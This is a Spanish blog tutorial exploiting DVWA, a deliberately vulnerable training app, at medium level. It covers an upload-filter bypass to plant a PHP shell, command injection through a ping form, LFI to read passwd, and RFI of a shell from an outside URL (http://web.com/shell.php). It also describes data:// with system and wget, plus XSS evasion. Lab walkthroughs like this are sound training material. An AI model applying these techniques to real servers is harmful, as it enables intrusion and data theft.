Para quienes no lo recuden o no conozcan sobre DVWA es básicamente un aplicativo de entrenamiento en seguridad web. En un anterior articulo habíamos hablado ya sobre cómo explotar y evitar vulnerabilidades web (recomendado leer para conocer el funcionamiento de cada vulnerabilidad y cómo solucionarlas) usando DVWA en nivel fácil, para este caso haremos lo mismo pero aumentando la dificultad a Medium.
File Upload
Para este nivel nos complican un poco más la vida ya que validan que sólo subamos imágenes con formato JPG así que debemos “bypassear” el filtro para poder subir nuestra shell, ¿qué es un bypass? básicamente es cambiar el flujo de datos normal por otro, que para este caso son las cabeceras. Para hacer eso necesitaremos un sniffer que registre la información que se envía por el formulario, para eso usemos nuestro amiguito Live HTTP Headers:
Subimos la shell cambiándole la extensión a .jpg y capturamos lo que se envía, como se ve en la imagen de arriba el archivo sube satisfactoriamente pero no lo podemos ejecutar dentro del servidor. Dentro de Live HTTP headers usamos la opción repetir para luego cambiar la extensión .jpg por .php, de esta forma cambiamos las cabeceras y volvemos a enviar la información modificada:
De esta forma el archivo se sube con extensión .php y podremos ejecutarlo
Command Execution
Nos volvemos a encontrar con un formulario que ejecuta un ping a la dirección IP que le indiquemos, el objetivo es poder ejecutar cualquier otro comando que nosotros queramos. Esta vez no podemos usar el operador lógico && (y) pero Batch/Bash cuenta con otros operadores más como por ejemplo || (o), para poder que la consola interprete || necesitamos que el primer comando (o sea ping) no se ejecute correctamente, simplemente en vez de poner una IP enviamos una palabra cualquiera seguido de || comando:
Otra forma aún más simple sería usando sólo | que funciona de forma similar a &&.
File Inclusion
Esta vez al intentar incluir un archivo externo al servidor enviándolo como parámetro: ?page=http://web.com/shell.php nos encontramos con:
1 | Warning: include(google.com): failed to open stream: No such file or directory |
En pocas palabra no encuentra dentro del servidor el archivo google.com, si nos fijamos la validación está quitando el http://. Por un lado nos complica hacer un RFI (Remote File Inclusion) pero podemos explotar un LFI (Local File Inclusion), de esta manera podemos ver el contenido de archivos del servidor como puede ser passwd. En sí es muy poco lo que podemos hacer a menos de que ya tuviéramos una shell dentro del servidor, pero como no es el caso debemos buscar la manera de subir una ¿cómo hacemos esto? ejecutando comandos de consola. Para ello hacemos uso de data:// que es un esquema de URL soportado desde PHP 5.2 que permite la inclusión de datos directamente sin llamar archivos, para hacerme explicar mejor, podríamos por ejemplo mostrar una imagen en un HTML sin especificar la URL de la imagen:
1 | < img src="data:image/png;base64,contenido en base64 /> |
Ahora si probamos enviando
1 | ?page=data:, |
Debería imprimirse el texto Hola desde RedInfoCol. Naturalmente queremos ir más allá de un echo, ejecutar comandos de consola, para ello usaremos la función system de PHP. Ahora para descargar la shell al servidor podríamos hacer uso de wget o cURL:
1 | ?page=data:, |
Cabe mencionar que el anterior ataque se puede o no realizar según la configuración de allow_url_include en el php.ini. Por ultimo mencionar que también hubiera podido incluir un ftp:// directamente con la dirección de la shell y hubiera funcionado el RFI pero no está demás dar a conocer las diferentes formas de explotar una vulnerabilidad.
XSS Reflected y Stored
En este nivel el sistema de comentarios sigue siendo vulnerable a HTML pero no a Javascript evitando las etiquetas
Existen herramientas online como esta que convierten los caracteres del Javascript que le indiquemos facilitando la tarea.
Fuente: http://www.redinfocol.org/dvwa-level-medium/
No hay comentarios:
Publicar un comentario